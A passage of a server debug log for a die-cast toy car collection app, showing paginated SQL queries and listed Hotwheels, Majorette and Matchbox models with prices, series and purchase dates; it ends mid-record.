2026-02-04T04:44:21.114Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:44:21.114Z server-connect:output restrict: undefined
2026-02-04T04:44:21.114Z server-connect:app Executing action step paged
2026-02-04T04:44:21.114Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:44:21.117Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 84,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:58:20.111Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:58:20.112Z server-connect:app Executing action step identify
2026-02-04T04:58:20.113Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:20.113Z server-connect:output identity: 1
2026-02-04T04:58:20.113Z server-connect:app Executing action step restrict
2026-02-04T04:58:20.113Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:20.114Z server-connect:output restrict: undefined
2026-02-04T04:58:20.114Z server-connect:app Executing action step paged
2026-02-04T04:58:20.114Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:58:20.119Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 23,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:58:22.454Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:58:22.454Z server-connect:app Executing action step identify
2026-02-04T04:58:22.454Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:22.454Z server-connect:output identity: 1
2026-02-04T04:58:22.455Z server-connect:app Executing action step restrict
2026-02-04T04:58:22.455Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:22.455Z server-connect:output restrict: undefined
2026-02-04T04:58:22.455Z server-connect:app Executing action step paged
2026-02-04T04:58:22.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:58:22.457Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
